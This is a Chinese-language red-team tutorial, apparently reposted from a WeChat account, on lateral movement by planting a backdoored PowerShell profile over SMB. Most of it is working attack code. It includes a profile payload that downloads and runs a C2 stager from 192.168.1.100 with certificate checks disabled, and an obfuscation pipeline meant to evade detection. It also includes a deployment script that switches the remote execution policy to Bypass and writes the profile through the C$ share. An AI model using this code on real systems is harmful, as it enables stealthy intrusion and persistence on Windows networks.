概述
PowerShell 配置文件是启动 PowerShell 会话时自动运行的脚本。这些配置文件允许您自定义 PowerShell 环境、设置首选项以及每次启动 PowerShell 时执行特定命令或功能。不同范围有不同的配置文件,使您能够针对各种场景进行不同的配置。
作为对手,我们可以通过使用包含 PowerShell 底座的 SMB 创建或修改 PowerShell 配置文件来获得远程执行。一旦 PowerShell 底座到位,我们就可以等待底座被合法的、预先存在的 PowerShell 进程触发,也可以通过远程执行合法的 PowerShell 命令强制底座触发。
首先,我们需要选择一个目标 PowerShell 配置文件。我们可以从四个主要的 PowerShell 配置文件中进行选择:
当前用户、当前主机:
-
PATH:$HomeDocumentsPowerShellProfile.ps1
-
此配置文件适用于当前 PowerShell 主机(控制台或集成脚本环境 - ISE)上的当前用户。
当前用户、所有主机:
-
PATH:$HomeDocumentsPowerShellMicrosoft.PowerShell_profile.ps1
-
此配置文件适用于所有 PowerShell 主机(控制台、ISE 和 WinRM)上的当前用户。
所有用户,当前主机:
-
PATH:$PsHomeProfile.ps1
-
此配置文件适用于当前 PowerShell 主机上的所有用户。
所有用户、所有主机:
-
PATH:$PsHomeMicrosoft.PowerShell_profile.ps1
-
此配置文件适用于所有 PowerShell 主机的所有用户。
鉴于我们正在横向移动,我们有足够的权限来修改两个系统配置文件(所有用户,当前主机和所有用户,所有主机)。这些配置文件为我们提供了进行横向移动的最佳机会,因为当任何用户从任何主机初始化任何 PowerShell 运行空间时,我们的有效载荷都会被触发。理想情况下,我们的有效载荷将在高完整性进程或至少是特权用户的上下文中运行。不幸的是,配置文件本身并不能保证这一点,我们必须在代码中做到这一点。
我们可能遇到的另一个问题是,如果系统上运行了大量 PowerShell 命令,我们可能会被大量回调淹没,因此我们需要某种方法来限制潜在回调的数量。我们将使用命名信号量来确保在给定时间内只有一个有效负载运行。我们使用命名信号量而不是未命名信号量的原因是我们希望信号量在多个进程之间共享。未命名信号量仅对当前进程和线程可见。
最后,我们可能会从短暂的 PowerShell 实例(例如,定期运行并在完成后立即退出的简单脚本)获得回调。我们对目标的访问将随着当前进程的终止而终止,因此我们需要某种方法来退出会话。在内部,我们将通过启动与父进程分离的子进程来实现这一点。这实际上将解决最后一个问题,即如果我们简单地下载并运行 PowerShell 底座,Specter 有效载荷将阻止进一步执行。这意味着 PowerShell 会话将被阻止,直到我们的植入物终止,这将阻止或阻止关键的管理活动,或者只是对打开交互式提示的人产生怀疑。
总而言之,我们需要后门配置文件脚本执行以下操作:
-
仅当管理员身份时运行
-
仅运行一次
-
退出当前进程
-
不阻止当前 PowerShell 会话的执行
-
不要向控制台显示任何奇怪或可疑的输出
本文使用的工具
-
PowerShell
-
SpecterInsight v3.0.0 - https://practicalsecurityanalytics.com/specterinsight/
内部
我们要做的第一件事是创建一个有效载荷以注入到 PowerShell 配置文件中。最终,此代码需要完成上面列出的四个目标并启动我们的 PowerShell 有效载荷。
持久性脚本
首先,如果当前用户不是 NT AUTHORITYSYSTEM 或不属于管理员组,则下面的 PowerShell 脚本块将退出。这确保我们只从特权进程获得回调。
$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = New-Object Security.Principal.WindowsPrincipal($currentUser)
$isAdministrator = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if($currentUser.Name -ilike '*NT AUTHORITYSYSTEM*' -or $isAdministrator) {
#The next step of the script omitted for brevity
}
接下来,我们需要通过创建系统独有的信号量来确保只触发一个植入。如果信号量已经存在,此脚本将无法继续。我们用计数 1 和最大值 1 初始化脚本。每次我们调用获取信号量的句柄时,它都会减少计数。当计数为零时,WaitOne 方法将返回 false,这意味着句柄正在使用中。
我们也不想阻止 PowerShell 会话。可能是用户打开了 PowerShell 提示符。如果提示符从未出现,则可能会提示调查。我们使用 WaitOne 方法重载,该方法需要等待获取信号量的毫秒数。我们提供零值以确保不会发生等待。要么我们立即获得信号量的控制权,要么另一个实例已在运行。
#Attempt to acquire access to the semaphore
$semaphore = New-Object System.Threading.Semaphore(1, 1, '84b6a618-10ba-4967-9157-88145cd105a5');
#Check if access to the semaphore was successfully acquired
if ($semaphore.WaitOne(0)) {
try {
#The next step of the script omitted for brevity
} finally {
[void]$semaphore.Release();
}
}
现在,我们需要创建一个子进程来执行 PowerShell 下载和执行命令,这样我们的植入程序就不会在当前进程关闭时死亡。为此,我们将使用 Start-Job cmdlet,它在内部创建一个子进程。我们将 PowerShell 支架包装在 try/finally 块中,以确保植入程序停止运行时释放信号量的句柄。如果我们不释放句柄,那么我们将只会得到一个回调。我们也不希望任何可疑的内容写入管道,因此我们将结果传输到 Out-Null。
Start-Job -ScriptBlock { try { <#The next step of the script omitted for brevity#> } finally { $semaphore.Release(); } } | Out-Null;
我们实际上将动态生成底座,但这里有一个示例。此模板配置 ServerCertificateValidationCallback 以忽略证书错误。然后,它使用 System.Net.WebRequest 类激活 SpecterInsight 'ps_script' 有效负载,这将为 SpecterInsight 植入程序生成一个模糊的 PowerShell 暂存器。我们利用 System.Net.WebRequest 类使此底座兼容 PowerShell 2.0+,以便它可以一直运行到 Windows 7。
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$request =[Net.WebRequest]::Create('https://192.168.1.100/static/resources/?build=4781081573d343d1b6c583969463bc5f&kind=ps_script');
$response = $request.GetResponse();
$stream = $response.GetResponseStream();
$reader = New-Object IO.StreamReader($stream);
$script = $reader.ReadToEnd()
[PowerShell]::Create().AddScript($script).Invoke()
接下来,我们将构建一个有效载荷管道来生成我们上面介绍的持久性有效载荷,但在这之前,您需要对有效载荷管道进行简要说明。
有效载荷管道是运行时动态生成有效载荷的 PowerShell 脚本。目标系统上运行的植入程序可以从 C2 服务器请求新的有效载荷。这会激活管道,该管道运行相关的 PowerShell 脚本来生成和混淆有效载荷。然后将其返回给植入程序。
我们将编写生成 PowerShell 配置文件持久性脚本的 C2 端有效负载管道脚本。
现在,我们将把上面描述的模板嵌入到有效负载管道中,以便我们可以动态生成信号量标识符等参数,并且可以混淆有效负载以逃避签名和检测。
有效负载管道是运行在 C2 服务器中的 PowerShell 脚本,每当植入程序激活管道时都会执行该脚本。这样植入程序每次激活管道时都可以下载新的独特有效负载。
右侧的脚本为有效负载生成一个模板并将其存储在 $script 变量中。
#Generate a randomly named semaphore
$semaphore = [Guid]::NewGuid().ToString();
#Generate the PowerShell loader
$cradle = Get-PwshScriptCradle -Pipeline 'ps_script';
$cradle = $cradle.Contents;
#Generate the profile script
$script = @"
#Verify that the user is an Administrator
`$currentUser = [Security.Principal.WindowsIdentity]::GetCurrent()
`$principal = New-Object Security.Principal.WindowsPrincipal(`$currentUser)
`$isAdministrator = `$principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if(`$currentUser.Name -ilike '*NT AUTHORITYSYSTEM*' -or `$isAdministrator) {
#Attempt to acquire access to the semaphore
`$semaphore = New-Object System.Threading.Semaphore(1, 1, '$semaphore');
#Check if access to the semaphore was successfully acquired
if (`$semaphore.WaitOne(0)) {
Start-Job -ScriptBlock { try { $cradle } finally { [void]`$semaphore.Release();} } | Out-Null;
}
}
"@;
接下来,我们对有效载荷模板应用一组混淆技术。
首先,我们使用 Obfuscate-PwshRemoveComments cmdlet 从模板中删除注释。
然后我们使用 Obfuscate-PwshCmdlets 混淆常用签名的 cmdlet 名称。我们不想混淆每个 cmdlet,因此我们只过滤可疑的 cmdlet(例如 iex)。
接下来是字符串混淆。有多种现成的技术,而且都相当不错。默认设置是随机选择一种技术。
接下来是变量名。这将遍历并将变量重命名为随机生成的变量名。默认设置使用 Github 中最常见 PowerShell 变量名的单词表。
最后,我们对所有函数的名称进行混淆。虽然我们没有在模板中定义任何函数,但字符串混淆可能已经添加了一些。
#Obfuscate the profile script
$obfuscated = $script | Obfuscate-PwshRemoveComments;
$obfuscated = $obfuscated | Obfuscate-PwshCmdlets -Filter @(".*iex.*", ".*icm.*", "Add-Type");
$obfuscated = $obfuscated | Obfuscate-PwshStrings;
$obfuscated = $obfuscated | Obfuscate-PwshVariables;
$obfuscated = $obfuscated | Obfuscate-PwshFunctionNames;
$obfuscated;
$process = [Security.Principal.WindowsIdentity]::GetCurrent()
$value = New-Object Security.Principal.WindowsPrincipal($process)
$items = $value.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)
if($process.Name -ilike ('*'+'NT'+' '+'A'+'U'+'THO'+'RI'+'T'+'YSY'+'STE'+'M*') -or $items) {
$hostname = New-Object System.Threading.Semaphore(1, 1, ('50a6'+'be1'+'9-9'+'28'+'e-'+'4'+'0'+'6b-a'+'4'+'0c'+'-5'+'50'+'99'+'752'+'5f83'));
if ($hostname.WaitOne(0)) {
Start-Job -ScriptBlock { try { [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$connection = New-Object System.Net.WebClient;
$scriptname = $connection.DownloadString(('http'+'s://'+'192.'+'168.'+'1'+'.100'+'/sta'+'tic'+'/res'+'ourc'+'es/?'+'bui'+'l'+'d='+'47'+'8108'+'1'+'573'+'d343'+'d1'+'b6c5'+'8396'+'9'+'4'+'63'+'bc5'+'f&ki'+'n'+'d='+'ps_'+'s'+'cri'+'pt'));
[PowerShell]::Create().AddScript($scriptname).Invoke() } finally { [void]$hostname.Release();} } | Out-Null;
}
}
部署脚本
现在我们需要创建部署新横向移动技术的脚本。
首先,我们将为脚本定义一些参数。此参数块将在 GUI 中呈现,供操作员输入。有两个参数集:(1) 模拟和 (2) 用户名和密码。第一个参数集将尝试使用当前用户的凭据与远程系统进行身份验证。另一个将尝试使用操作员指定的凭据进行身份验证。
param(
[Parameter(ParameterSetName="Impersonate", Mandatory=$True, HelpMessage="The IP address or hostname of the system to run the cradle.")]
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The IP address or hostname of the system to run the cradle.")]
[ValidateNotNullOrEmpty]
[string]$ComputerName,
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The local or domain username to authenticate with.")]
[ValidateNotNullOrEmpty]
[string]$Username,
[Parameter(ParameterSetName="Username and Password", Mandatory=$True, HelpMessage="The password for the specified user.")]
[ValidateNotNullOrEmpty]
[string]$Password,
[Parameter(ParameterSetName="Impersonate", Mandatory = $true, HelpMessage = "The Specter build identifier.")]
[Parameter(ParameterSetName="Username and Password", Mandatory = $true, HelpMessage = "The Specter build identifier.")]
[ValidateNotNullOrEmpty()]
[Build]
[string]$Build
)
我们需要加载依赖项。对于此脚本,我们将使用在 lateral 模块中定义的一些 cmdlet。
#Ensure that the necessary modules are loaded
load lateral;
接下来,我们将生成一个新的有效载荷。本质上,我们将生成上面解释过的脚本,但会进行一些混淆,这样这种技术就不会被签名。
我们传入参数集中定义的 $Build 参数,以便操作员可以抛出与当前配置不同的植入物。
#Generate the payload
$script = Get-Payload 'ps_lateral_movement_profile' -Build $Build;
接下来,我们尝试将目标系统上的 ExecutionPolicy 设置为“Bypass”。如果执行策略不允许脚本执行,则我们的有效负载将不会运行。我们将使用 Get-RegKeyValue 和 Set-RegKeyValue 来确保策略已设置。
#Set the ExecutionPolicy to Bypass on the remote system. This is required to allow PowerShell profile scripts to run.
$Hive = 'HKEY_LOCAL_MACHINE';
$key = 'SOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell';
$name = 'ExecutionPolicy';
#Attempt to set the value
try {
$previousExectionPolicy = Get-RegKeyValue -ComputerName $ComputerName -Username $Username -Password $Password -Hive $Hive -Key $key -Name $name;
Set-RegKeyValue -ComputerName $ComputerName -Username $Username -Password $Password -Hive $Hive -Key $key -Name $name -Value 'Bypass';
} catch { }
#Get the execution policy
try {
$currentExectionPolicy = Get-RegKeyValue -ComputerName $ComputerName -Username $Username -Password $Password -Hive $Hive -Key $key -Name $name;
} catch {
$currentExectionPolicy = [string]::Format('Failed to retrieve the ExecutionPolicy. {0}', $_.Exception.Message);
}
接下来,我们使用明确的凭据或未提供任何凭据的模拟与远程主机建立临时网络共享。
#Configure the UNC paths to transfer via the C$ administrators share
$sharePath = "\$ComputerNameC`$";
$uncPath = [System.IO.Path]::Combine($sharePath, 'WindowsSystem32WindowsPowerShellv1.0profile.ps1');
#Copy the profile script to the target using SMB
try {
if([string]::IsNullOrEmpty($Username)) {
#Use current user impersonation for authentication to map the share
[System.IO.File]::WriteAllBytes($uncPath, $script);
} else {
#Use explicit credentials for authentication to map the share
$credentials = New-Object System.Net.NetworkCredential($Username, $Password);
$share = [common.IO.TemporaryNetworkShare]::Map($sharePath, $credentials);
try {
[System.IO.File]::WriteAllBytes($uncPath, $script);
} finally {
#Unmount the share regardless of the outcome
$share.Dispose();
}
}
$success = $true;
} catch {
$success = $false;
throw;
}
最后,我们输出详细说明该技术的结果,以便我们的横向移动操作可以在 ELK 中记录并显示在我们的 Kibana 仪表板中。
我们希望添加信息,以便当其他操作员需要清理时,他们能够获得所需的一切信息。为了实现这一点,我们提供了之前的执行策略和当前的执行策略,以便我们可以在交战后重置这些设置。
我们还将完整的 UNC 路径添加到配置文件中。这将允许清理人员从环境中的任何系统中删除横向移动技术。
#Output the lateral movement message format
New-Object psobject -Property @{
Lateral = New-Object psobject -Property @{
Method = "PowerShell Profile";
Payload = 'ps_lateral_movement_profile';
Path = $uncPath;
Build = $Build;
System = $ComputerName;
Username = $Username;
PreviousExecutionPolicy = $previousExecutionPolicy;
CurrentExecutionPolicy = $currentExectionPolicy;
Success = $success;
};
};
过程
步骤 1:使用 PowerShell 配置文件技术查找横向移动
保存上面定义的脚本后,我们现在可以在交战中使用它。只需搜索脚本,选择适当的 SpecterScript,然后单击“插入”按钮即可将脚本加载到命令生成器中。
步骤2:配置参数
有两个参数集:(1) 模拟和 (2) 用户名和密码。在本例中,我们从非域连接系统横向移动,因此我们将使用“用户名和密码”参数集,因为当前用户无法通过域进行身份验证。
步骤 3:运行脚本
满足所有参数后,我们现在可以运行脚本。下次签入后,Specter 将执行该脚本。脚本完成后,结果将被序列化并显示在输出窗口中。
步骤 4:在 Kibana 中查看结果
Kibana 将呈现在指定时间范围内执行的所有横向移动技术的结果。
步骤 5:启动 PowerShell 实例
第 5 步实际上只是“等待某事发生”,但通常 PowerShell 脚本会在某个时刻执行。现在表面上输出可疑信息。只是我们无法抑制的标准 PowerShell 配置文件系统消息。
步骤 6:接收
现在,我们从有效载荷中获得了回调。
概括
这项技术就到此结束了。这是一个有趣的小挑战,尝试探索横向移动的替代方法。希望您学到了一些新东西,可以用来解决以后的问题。仅仅是完成所有要求然后为每个要求构建解决方案的过程就是一项有益的练习。
原文始发于微信公众号(Ots安全):如何利用 PowerShell 配置文件进行横向移动
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论